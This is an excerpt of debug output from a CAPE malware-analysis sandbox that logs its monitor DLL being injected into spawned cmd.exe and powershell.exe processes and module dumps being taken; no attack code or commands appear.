2019-08-13 23:46:21,803 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:21,803 [root] DEBUG: Dump-on-API: Dumped module at 0x0000000049D50000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:21,803 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x00000000FF5EF000 - 0x000007FEFF430000
2019-08-13 23:46:21,803 [root] DEBUG: InjectDllViaIAT: Allocated 0x1dc bytes for new import table at 0x00000000FF5F0000.
2019-08-13 23:46:21,803 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:21,803 [root] DEBUG: DLL loaded at 0x72F70000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:46:21,803 [root] DEBUG: InjectDllViaIAT: Allocated 0x1dc bytes for new import table at 0x00000000FF5F0000.
2019-08-13 23:46:21,803 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:21,803 [root] DEBUG: DLL loaded at 0x74950000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:46:21,803 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:21,819 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:21,819 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,819 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,819 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2752
2019-08-13 23:46:21,819 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:21,819 [root] INFO: Announced 64-bit process name: cmd.exe pid: 1964
2019-08-13 23:46:21,819 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2208
2019-08-13 23:46:21,835 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x0000000049D50000, stack from 0x0000000000124000-0x0000000000220000
2019-08-13 23:46:21,835 [root] DEBUG: DLL loaded at 0x000007FEFCEF0000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:46:21,835 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:21,835 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:21,835 [root] INFO: Added new process to list with pid: 812
2019-08-13 23:46:21,835 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:21,835 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:21,835 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:21,835 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2856
2019-08-13 23:46:21,835 [root] INFO: Monitor successfully loaded in process with pid 812.
2019-08-13 23:46:21,851 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:21,851 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:21,851 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:21,867 [root] DEBUG: GetHookCallerBase: thread 1592 (handle 0x0), return address 0x0000000049D59099, allocation base 0x0000000049D50000.
2019-08-13 23:46:21,867 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:21,867 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:21,867 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:21,867 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x0000000049D50000 main_caller_retaddr 0x0000000049D59099 parent_caller_retaddr 0x0000000049D598F3.
2019-08-13 23:46:21,867 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:21,867 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:21,867 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:21,867 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:21,867 [root] DEBUG: Loader: Injecting process 1964 (thread 2924) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,867 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x0000000049D50000.
2019-08-13 23:46:21,881 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x00000000FF5E0000, stack from 0x0000000000105000-0x0000000000110000
2019-08-13 23:46:21,881 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x00000000FF5E0000, stack from 0x00000000000D6000-0x00000000000E0000
2019-08-13 23:46:21,881 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:21,881 [root] DEBUG: Process image base: 0x0000000049D50000
2019-08-13 23:46:21,881 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:46:21,881 [root] INFO: Added new process to list with pid: 2752
2019-08-13 23:46:21,881 [root] DEBUG: Loader: Injecting process 2856 (thread 1224) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,898 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,898 [root] INFO: Monitor successfully loaded in process with pid 2752.
2019-08-13 23:46:21,898 [root] INFO: Added new process to list with pid: 2208
2019-08-13 23:46:21,898 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:46:21,898 [root] DEBUG: Process image base: 0x000000013FA40000
2019-08-13 23:46:21,898 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0000000049DA9000 - 0x0000000077110000
2019-08-13 23:46:21,898 [root] INFO: Monitor successfully loaded in process with pid 2208.
2019-08-13 23:46:21,898 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,898 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x0000000049DB0000.
2019-08-13 23:46:21,898 [root] DEBUG: GetHookCallerBase: thread 2740 (handle 0x0), return address 0x00000000FF5E1D01, allocation base 0x00000000FF5E0000.
2019-08-13 23:46:21,898 [root] DEBUG: GetHookCallerBase: thread 2212 (handle 0x0), return address 0x00000000FF5E1D01, allocation base 0x00000000FF5E0000.
2019-08-13 23:46:21,898 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013FAB7000 - 0x000007FEFF430000
2019-08-13 23:46:21,898 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:21,898 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x00000000FF5E0000 main_caller_retaddr 0x00000000FF5E1D01 parent_caller_retaddr 0x00000000FF5E1E7B.
2019-08-13 23:46:21,898 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x00000000FF5E0000 main_caller_retaddr 0x00000000FF5E1D01 parent_caller_retaddr 0x00000000FF5E1E7B.
2019-08-13 23:46:21,898 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013FAC0000.
2019-08-13 23:46:21,914 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,914 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00000000FF5E0000.
2019-08-13 23:46:21,914 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00000000FF5E0000.
2019-08-13 23:46:21,914 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:21,914 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 1964
2019-08-13 23:46:21,914 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\812_832469040216614382019
2019-08-13 23:46:21,914 [root] DEBUG: DumpProcess: Module entry point VA is 0x0000000000001DD4.
2019-08-13 23:46:21,914 [root] DEBUG: DumpProcess: Module entry point VA is 0x0000000000001DD4.
2019-08-13 23:46:21,914 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,928 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:21,928 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:46:21,928 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:21,928 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:21,928 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2856
2019-08-13 23:46:21,928 [root] DEBUG: DLL unloaded from 0x72F70000.
2019-08-13 23:46:21,928 [root] DEBUG: Dump-on-API: Dumped module at 0x0000000049D50000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:21,928 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:21,928 [root] DEBUG: Error 2 (0x2) - savePeFileToDisk: There was a problem renaming the file: The system cannot find the file specified.
2019-08-13 23:46:21,944 [root] DEBUG: DLL unloaded from 0x75D60000.
2019-08-13 23:46:21,944 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:21,944 [root] DEBUG: Error 2 (0x2) - savePeFileToDisk: There was a problem deleting the file: C:\Users\user\AppData\Local\Temp\CapeOutput.bin: The system cannot find the file specified.
2019-08-13 23:46:21,944 [root] DEBUG: DLL loaded at 0x000007FEFCEF0000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:46:21,944 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:21,944 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2208_1502549685216614382019
2019-08-13 23:46:21,944 [root] DEBUG: DumpProcess: Error - Cannot dump image.
2019-08-13 23:46:21,944 [root] DEBUG: DLL loaded at 0x724F0000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:46:21,944 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2308
2019-08-13 23:46:21,944 [root] DEBUG: DumpProcess: Module image dump success - dump size 0xb000.
2019-08-13 23:46:21,960 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\wherurmpn\CAPE\2752_78816750216614382019
2019-08-13 23:46:21,960 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:21,960 [root] DEBUG: DLL loaded at 0x74160000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:46:21,960 [root] DEBUG: Dump-on-API: Dumped module at 0x00000000FF5E0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:21,960 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:21,976 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:21,976 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x0000000049D50000, stack from 0x00000000001A4000-0x00000000002A0000
2019-08-13 23:46:21,976 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2712
2019-08-13 23:46:21,976 [root] DEBUG: DLL unloaded from 0x000007FEFD430000.
2019-08-13 23:46:21,976 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:21,976 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:21,976 [root] INFO: Added new process to list with pid: 1964
2019-08-13 23:46:21,976 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2752_78816750216614382019
2019-08-13 23:46:21,976 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:21,976 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:21,976 [root] INFO: Monitor successfully loaded in process with pid 1964.
2019-08-13 23:46:21,976 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:21,976 [root] DEBUG: DumpRegion: Dumped stack region from 0x00000000FF5E0000, size 0xf000.
2019-08-13 23:46:21,976 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:21,992 [root] DEBUG: GetHookCallerBase: thread 2924 (handle 0x0), return address 0x0000000049D59099, allocation base 0x0000000049D50000.
2019-08-13 23:46:21,992 [root] DEBUG: Dump-on-API: Dumped memory region at 0x00000000FF5E0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:21,992 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:21,992 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:21,992 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x0000000049D50000 main_caller_retaddr 0x0000000049D59099 parent_caller_retaddr 0x0000000049D598F3.
2019-08-13 23:46:21,992 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:21,992 [root] DEBUG: DLL unloaded from 0x000007FEFD430000.
2019-08-13 23:46:21,992 [root] DEBUG: Loader: Injecting process 2308 (thread 880) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,992 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x0000000049D50000.
2019-08-13 23:46:21,992 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x000000013FA40000, stack from 0x0000000000115000-0x0000000000120000
2019-08-13 23:46:21,992 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:22,006 [root] DEBUG: Process image base: 0x000000013FA40000
2019-08-13 23:46:22,006 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:46:22,006 [root] INFO: Added new process to list with pid: 2856
2019-08-13 23:46:22,006 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,006 [root] INFO: Monitor successfully loaded in process with pid 2856.
2019-08-13 23:46:22,006 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013FAB7000 - 0x000007FEFF430000
2019-08-13 23:46:22,006 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013FAC0000.
2019-08-13 23:46:22,006 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:22,006 [root] DEBUG: Loader: Injecting process 2712 (thread 2376) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,006 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:46:22,006 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,006 [root] DEBUG: Process image base: 0x0000000049D50000
2019-08-13 23:46:22,023 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2308
2019-08-13 23:46:22,023 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,023 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0000000049DA9000 - 0x0000000077110000
2019-08-13 23:46:22,023 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x0000000049DB0000.
2019-08-13 23:46:22,023 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:22,023 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:22,023 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\1964_960534736226614382019
2019-08-13 23:46:22,023 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,023 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:22,038 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:46:22,038 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2712
2019-08-13 23:46:22,038 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:22,038 [root] DEBUG: Dump-on-API: Dumped module at 0x0000000049D50000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:22,038 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:22,038 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:22,038 [root] DEBUG: DLL loaded at 0x000007FEFCEF0000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:46:22,038 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:22,038 [root] DEBUG: DLL unloaded from 0x724F0000.
2019-08-13 23:46:22,038 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2676
2019-08-13 23:46:22,053 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:22,053 [root] DEBUG: DLL unloaded from 0x75D60000.
2019-08-13 23:46:22,053 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x000000013FA40000, stack from 0x00000000000B5000-0x00000000000C0000
2019-08-13 23:46:22,053 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:22,053 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:22,053 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:22,053 [root] INFO: Added new process to list with pid: 2308
2019-08-13 23:46:22,053 [root] DEBUG: DLL loaded at 0x72F70000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:46:22,053 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:22,053 [root] INFO: Monitor successfully loaded in process with pid 2308.
2019-08-13 23:46:22,053 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:22,053 [root] DEBUG: DLL loaded at 0x74950000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:46:22,069 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x0000000049D50000, stack from 0x00000000001A4000-0x00000000002A0000
2019-08-13 23:46:22,069 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:22,069 [root] INFO: Announced 64-bit process name: cmd.exe pid: 1648
2019-08-13 23:46:22,069 [root] INFO: Added new process to list with pid: 2712
2019-08-13 23:46:22,069 [root] DEBUG: Loader: Injecting process 2676 (thread 2084) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,069 [root] INFO: Monitor successfully loaded in process with pid 2712.
2019-08-13 23:46:22,085 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:22,085 [root] DEBUG: Process image base: 0x000000013FA40000
2019-08-13 23:46:22,085 [root] DEBUG: GetHookCallerBase: thread 2376 (handle 0x0), return address 0x0000000049D59099, allocation base 0x0000000049D50000.
2019-08-13 23:46:22,085 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:22,085 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,085 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:22,085 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x0000000049D50000 main_caller_retaddr 0x0000000049D59099 parent_caller_retaddr 0x0000000049D598F3.
2019-08-13 23:46:22,085 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013FAB7000 - 0x000007FEFF430000
2019-08-13 23:46:22,085 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x0000000049D50000.
2019-08-13 23:46:22,085 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:46:22,085 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013FAC0000.
2019-08-13 23:46:22,085 [root] DEBUG: GetHookCallerBase: thread 1224 (handle 0x0), return address 0x000000013FA4C7D9, allocation base 0x000000013FA40000.
2019-08-13 23:46:22,085 [root] DEBUG: GetHookCallerBase: thread 880 (handle 0x0), return address 0x000000013FA4C7D9, allocation base 0x000000013FA40000.
2019-08-13 23:46:22,085 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:22,101 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:22,101 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:22,101 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:22,101 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013FA40000 main_caller_retaddr 0x000000013FA4C7D9 parent_caller_retaddr 0x000000013FA4C453.
2019-08-13 23:46:22,101 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013FA40000 main_caller_retaddr 0x000000013FA4C7D9 parent_caller_retaddr 0x000000013FA4C453.
2019-08-13 23:46:22,101 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:46:22,101 [root] DEBUG: Loader: Injecting process 1648 (thread 1704) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,101 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,101 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013FA40000.
2019-08-13 23:46:22,101 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013FA40000.
2019-08-13 23:46:22,101 [root] DEBUG: Process image base: 0x0000000049D50000
2019-08-13 23:46:22,101 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2676
2019-08-13 23:46:22,101 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:46:22,101 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:46:22,101 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,115 [root] INFO: Notified of termination of process with pid 2752.
2019-08-13 23:46:22,115 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0000000049DA9000 - 0x0000000077110000
2019-08-13 23:46:22,115 [root] INFO: Notified of termination of process with pid 2208.
2019-08-13 23:46:22,115 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x0000000049DB0000.
2019-08-13 23:46:22,115 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:22,115 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:22,115 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:22,115 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:46:22,115 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:22,115 [root] DEBUG: DLL unloaded from 0x000007FEFF190000.
2019-08-13 23:46:22,115 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2712_1741375578226614382019
2019-08-13 23:46:22,115 [root] INFO: Notified of termination of process with pid 2996.
2019-08-13 23:46:22,115 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:22,131 [root] DEBUG: Error 2 (0x2) - savePeFileToDisk: There was a problem renaming the file: The system cannot find the file specified.
2019-08-13 23:46:22,131 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,131 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:46:22,131 [root] INFO: Notified of termination of process with pid 2884.
2019-08-13 23:46:22,131 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:22,131 [root] DEBUG: Error 2 (0x2) - savePeFileToDisk: There was a problem deleting the file: C:\Users\user\AppData\Local\Temp\CapeOutput.bin: The system cannot find the file specified.
2019-08-13 23:46:22,131 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 1648
2019-08-13 23:46:22,148 [root] DEBUG: Dump-on-API: Dumped module at 0x0000000049D50000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:22,148 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2308_1365700404226614382019
2019-08-13 23:46:22,148 [root] DEBUG: DumpProcess: Error - Cannot dump image.
2019-08-13 23:46:22,148 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:22,148 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:22,148 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:46:22,148 [root] DEBUG: DLL loaded at 0x000007FEFCEF0000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:46:22,148 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\wherurmpn\CAPE\2856_150634120226614382019
2019-08-13 23:46:22,163 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:22,163 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013FA40000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:22,163 [root] DEBUG: DLL unloaded from 0x72F70000.
2019-08-13 23:46:22,163 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x000000013FA40000, stack from 0x0000000000145000-0x0000000000150000
2019-08-13 23:46:22,163 [root] INFO: Announced 64-bit process name: powershell.exe pid: 1988
2019-08-13 23:46:22,163 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:22,163 [root] DEBUG: DLL loaded at 0x000007FEFE400000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:46:22,178 [root] DEBUG: DLL unloaded from 0x75D60000.
2019-08-13 23:46:22,178 [root] INFO: Added new process to list with pid: 2676
2019-08-13 23:46:22,178 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:22,178 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:22,178 [root] INFO: Monitor successfully loaded in process with pid 2676.
2019-08-13 23:46:22,178 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:22,178 [root] DEBUG: DLL loaded at 0x724F0000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:46:22,178 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2856_150634120226614382019
2019-08-13 23:46:22,178 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:22,178 [root] DEBUG: GetHookCallerBase: thread 2084 (handle 0x0), return address 0x000000013FA4C7D9, allocation base 0x000000013FA40000.
2019-08-13 23:46:22,178 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:22,194 [root] DEBUG: DLL loaded at 0x74160000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:46:22,194 [root] DEBUG: DumpRegion: Dumped stack region from 0x000000013FA40000, size 0x77000.
2019-08-13 23:46:22,194 [root] DEBUG: DLL loaded at 0x000007FEFD560000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:46:22,194 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013FA40000 main_caller_retaddr 0x000000013FA4C7D9 parent_caller_retaddr 0x000000013FA4C453.
2019-08-13 23:46:22,194 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:22,194 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x0000000049D50000, stack from 0x0000000000184000-0x0000000000280000
2019-08-13 23:46:22,194 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2760
2019-08-13 23:46:22,194 [root] DEBUG: Dump-on-API: Dumped memory region at 0x000000013FA40000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:22,210 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013FA40000.
2019-08-13 23:46:22,210 [root] DEBUG: Loader: Injecting process 1988 (thread 560) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:22,210 [root] INFO: Added new process to list with pid: 1648
